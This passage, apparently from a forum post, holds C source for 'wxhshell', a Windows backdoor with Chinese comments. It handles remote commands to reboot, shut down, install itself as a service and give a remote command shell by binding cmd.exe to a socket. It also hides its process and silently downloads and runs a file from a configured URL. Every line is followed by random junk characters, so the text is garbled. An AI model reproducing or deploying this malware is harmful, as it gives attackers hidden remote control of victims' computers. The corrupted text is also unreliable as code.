  case 'i': { -"5r-qq*  
    if(Install()) s&L 6C[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zRFvWOxC\  
    else -DWnDku8=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #;hYJ Y  
    break; V5rW_X:]8  
    } [&+5E1%L  
  // 卸载 S8Yti  
  case 'r': { M,g$  
    if(Uninstall()) Y))x'<T'Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?@H/;hB[|  
    else cIg+^Tl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qsHjqK@(  
    break; /{!?e<N>  
    } 0[R7HX-@  
  // 显示 wxhshell 所在路径 w0,rFWS  
  case 'p': { lj 2OOU{  
    char svExeFile[MAX_PATH]; C%Fc%}[  
    strcpy(svExeFile,"\n\r"); Rz"gPU4;`  
      strcat(svExeFile,ExeFile); .Lp\Jyegs  
        send(wsh,svExeFile,strlen(svExeFile),0); Pk^W+M_)~  
    break; +&.wc;mi  
    } RP%7M8V){B  
  // 重启 THmmf_w@  
  case 'b': { b$N&sZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q6hWHfS  
    if(Boot(REBOOT)) VH6J @m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6MmkEU z  
    else { %ql2 XAY  
    closesocket(wsh); a1g aB:w5n  
    ExitThread(0); O_^;wey0}?  
    } ;fZ9:WB  
    break; c3C<P  
    } aUbmEHFTV  
  // 关机 0l2@3}e  
  case 'd': { M{O8iq[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !c;BOCqa  
    if(Boot(SHUTDOWN)) |`Iispn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lR0WDJv  
    else { NH;.!x q:  
    closesocket(wsh); vu`,:/|h  
    ExitThread(0); O9R[F  
    } ^'Qe.DW[  
    break; XG01g3  
    } hYSf;cG}A  
  // 获取shell >rid3~  
  case 's': { L(DDyA{bA  
    CmdShell(wsh); |6GDIoZ  
    closesocket(wsh); #SqU>R  
    ExitThread(0); I3d!!L2ma  
    break; Jq_AR!} %  
  } FwqaWEk  
  // 退出 <L+y 6B  
  case 'x': { IRIYj(J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EJ=ud9  
    CloseIt(wsh); l 1eF&wNC  
    break; S94S[j0D  
    } ws< (LH  
  // 离开 #T$yQ;eQ  
  case 'q': { W \XLf,_+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yqb3g(0   
    closesocket(wsh); h+j{;evN  
    WSACleanup(); G!.%Qqs  
    exit(1); Ih^ziDcW  
    break; Q<T+t0G\O-  
        } P; 9{;  
  } 1 i/&t[  
  } ` *q>E  
4N8(WI"4S  
  // 提示信息 uO5y{O2W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;- 6   
} CZw]@2/JuQ  
  } `XrF ,  
:EV*8{:aLU  
  return; <CGABlZ  
} zy'cf5k2  
JXq l=/%  
// shell模块句柄 >$G'=N:=X&  
int CmdShell(SOCKET sock) B3'-:  
{ xL$7bw5fY  
STARTUPINFO si; c|<E~_ .w@  
ZeroMemory(&si,sizeof(si)); ]?lUe5F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rObg:(z&\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qaiR329fx  
PROCESS_INFORMATION ProcessInfo; ,_z"3B)]  
char cmdline[]="cmd"; ]i Yp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +jb<=ERV[  
  return 0; &9F(C R  
} _m*FHi  
A8T8+M:  
// 自身启动模式 K(}g!iT)~  
int StartFromService(void) )6*)u/x:  
{ CqR^w(  
typedef struct a~&euT2  
{  ,$(a,`s)  
  DWORD ExitStatus; 2`U+ !  
  DWORD PebBaseAddress; >!W H%J  
  DWORD AffinityMask; Dy|)u1?  
  DWORD BasePriority; 'f-8P  
  ULONG UniqueProcessId; ;|pw;-  
  ULONG InheritedFromUniqueProcessId; \k.W F|~  
}   PROCESS_BASIC_INFORMATION; KZGy&u >`  
rmJ`^6V  
PROCNTQSIP NtQueryInformationProcess; NM+ (ss'  
>>%E?'9A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I6Ga'5bV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W9:(P  
GD0Q`gWNe  
  HANDLE             hProcess; OE=.@Ry"  
  PROCESS_BASIC_INFORMATION pbi; hw2Sb,bY  
fVz0H1\J&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8c%_R23  
  if(NULL == hInst ) return 0; 5+[ 3@  
^NXxMC( e+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]h%~'8g,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *AJYSa,z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]XEUD1N;I  
2:G/Oj h&]  
  if (!NtQueryInformationProcess) return 0; >hO9b;F}  
/~3kkM(Ty  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Mb=j'H<N@  
  if(!hProcess) return 0; 47!k!cHa  
uU/'oZ?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tL]T_]z  
P (aN6)D  
  CloseHandle(hProcess); nrKir  
2 2@w:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ud)2Mq1#M  
if(hProcess==NULL) return 0; cs?IzIQ  
}U@(S>,%  
HMODULE hMod; D[dI_|59a  
char procName[255]; Axw+zO  
unsigned long cbNeeded; 2]cU:j6G  
rA /T>ZM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YI?tmqzt  
`\yQn7 Oq  
  CloseHandle(hProcess); 5DL(#9F8b9  
)yUSuK(Vu  
if(strstr(procName,"services")) return 1; // 以服务启动 +LF`ZXe8l  
6 -BC/  
  return 0; // 注册表启动 B^Hh rz!  
} ~uu{ v')  
X*t2h3 "}  
// 主模块 ~p x2kHZ  
int StartWxhshell(LPSTR lpCmdLine) ^00C"58A  
{ |!L0X@>  
  SOCKET wsl; F#a'N c9  
BOOL val=TRUE; h/]));p  
  int port=0; dH)\zCt  
  struct sockaddr_in door; AbIYdFXB  
6*:U1{Gl)  
  if(wscfg.ws_autoins) Install(); Pr3>}4M  
OlM3G^1e1  
port=atoi(lpCmdLine); p8MN>pLP%  
9\>{1"a  
if(port<=0) port=wscfg.ws_port; Sb^o`~ Eh  
FiKGB\_]  
  WSADATA data; |Q$Dj!!1P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 84/#,X!=s  
Q-KBQc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C?g<P0h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^bECX<,H  
  door.sin_family = AF_INET; iN1_ T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _Uhl4Mh  
  door.sin_port = htons(port); rC6@ ]  
L,sFwOWY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \5fvD8>H  
closesocket(wsl); o\X|\nUk  
return 1; MH=Ld=i  
} p. KT=dZT  
g/gaPc*86  
  if(listen(wsl,2) == INVALID_SOCKET) { lT_dzO  
closesocket(wsl); .9q`Tf  
return 1; RO| }WD)  
} +|qw>1J(  
  Wxhshell(wsl); PV-B<Y  
  WSACleanup(); T!-ly7-`  
w[#*f?at~  
return 0; >3&9Wbv>  
\"b'Z2g  
} %II o  
gnlU  
// 以NT服务方式启动 DJ`xCs!R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3[<D"0#},  
{ pzb`M'Z?C  
DWORD   status = 0; ])?[9c  
  DWORD   specificError = 0xfffffff; jXIVR'n(  
cC9haxW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Li9>RY+3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0~e6\7={  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ($t;Xab  
  serviceStatus.dwWin32ExitCode     = 0; 7#C3E$gn?  
  serviceStatus.dwServiceSpecificExitCode = 0; ,%U\@*6=  
  serviceStatus.dwCheckPoint       = 0; Y^eF(  
  serviceStatus.dwWaitHint       = 0; 5YLc4z*  
qfF2S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lqvP Dz  
  if (hServiceStatusHandle==0) return; ,; n[_f  
lD$\t/8B  
status = GetLastError(); ,,G'Zur7  
  if (status!=NO_ERROR) &.JJhX  
{ }j{Z &(K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _z>%h>L|g  
    serviceStatus.dwCheckPoint       = 0; t?Q  
    serviceStatus.dwWaitHint       = 0; y 7z)lBy\  
    serviceStatus.dwWin32ExitCode     = status; 2yVQqwQ m  
    serviceStatus.dwServiceSpecificExitCode = specificError; iyr<qtwK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NG: f>R  
    return; *S'?u_Y7  
  } oz7=1;r  
.x1.`Y   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 37 *2/N2  
  serviceStatus.dwCheckPoint       = 0; *vT Abk$   
  serviceStatus.dwWaitHint       = 0; ld#YXJ;P.k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #I#_gjJkx  
} K4b2)8  
g`4WisL1n  
// 处理NT服务事件,比如:启动、停止 /!U(/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8:K_S a%  
{ XpPcQIM*  
switch(fdwControl) n(_wt##wE~  
{ Z8Tb43?  
case SERVICE_CONTROL_STOP: Ss:'H H4  
  serviceStatus.dwWin32ExitCode = 0; gi+FL_8CzU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !ZY1AhGZ  
  serviceStatus.dwCheckPoint   = 0; @]L$eOV_  
  serviceStatus.dwWaitHint     = 0; O6ltGtF  
  { 3gv?rJV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G<Urj+3/Xo  
  } C|]Zpn#{K  
  return; u$qazj  
case SERVICE_CONTROL_PAUSE: Y6 a9S`o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G6qFAepwi  
  break; .g_^! t  
case SERVICE_CONTROL_CONTINUE: 'l3 DP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; # S0N`V  
  break; pL: r\Y:R  
case SERVICE_CONTROL_INTERROGATE: <3x:nH @  
  break; a..LbQQ  
}; <ka zV<"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K{XE|g  
} sTvw@o *  
Ct$\!|aR  
// 标准应用程序主函数 D8`SI2 1P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Nj +^;Y  
{ DIgur}q)@  
jVna;o)  
// 获取操作系统版本 [_*?~  
OsIsNt=GetOsVer(); )Jh:~9L%='  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >^g\s]c[  
 3bHB$n  
  // 从命令行安装 (W#^-*$R  
  if(strpbrk(lpCmdLine,"iI")) Install(); rpEN\S%7P  
E9]*!^=/  
  // 下载执行文件 PR%n>a#  
if(wscfg.ws_downexe) { o bGvd6\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $&sV.fGu  
  WinExec(wscfg.ws_filenam,SW_HIDE); { &J OO  
} ITD&w g  
L#fK ,r8  
if(!OsIsNt) { mNJCV8 <  
// 如果时win9x,隐藏进程并且设置为注册表启动 {uxTgX  
HideProc(); I(j$^DA.  
StartWxhshell(lpCmdLine); >|mZu)HIY;  
} 8Ep!  
else 3teP6|K'g  
  if(StartFromService()) xdMY2u  
  // 以服务方式启动 z7pw~Tqlz  
  StartServiceCtrlDispatcher(DispatchTable); | g"K7XfM4  
else ED>P>Gg  
  // 普通方式启动 'Jd*r(2d  
  StartWxhshell(lpCmdLine); kpMo7n  
#!P>." .  
return 0; (/ -90u  
}
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只看该作者 1 发表于: 2006-10-10
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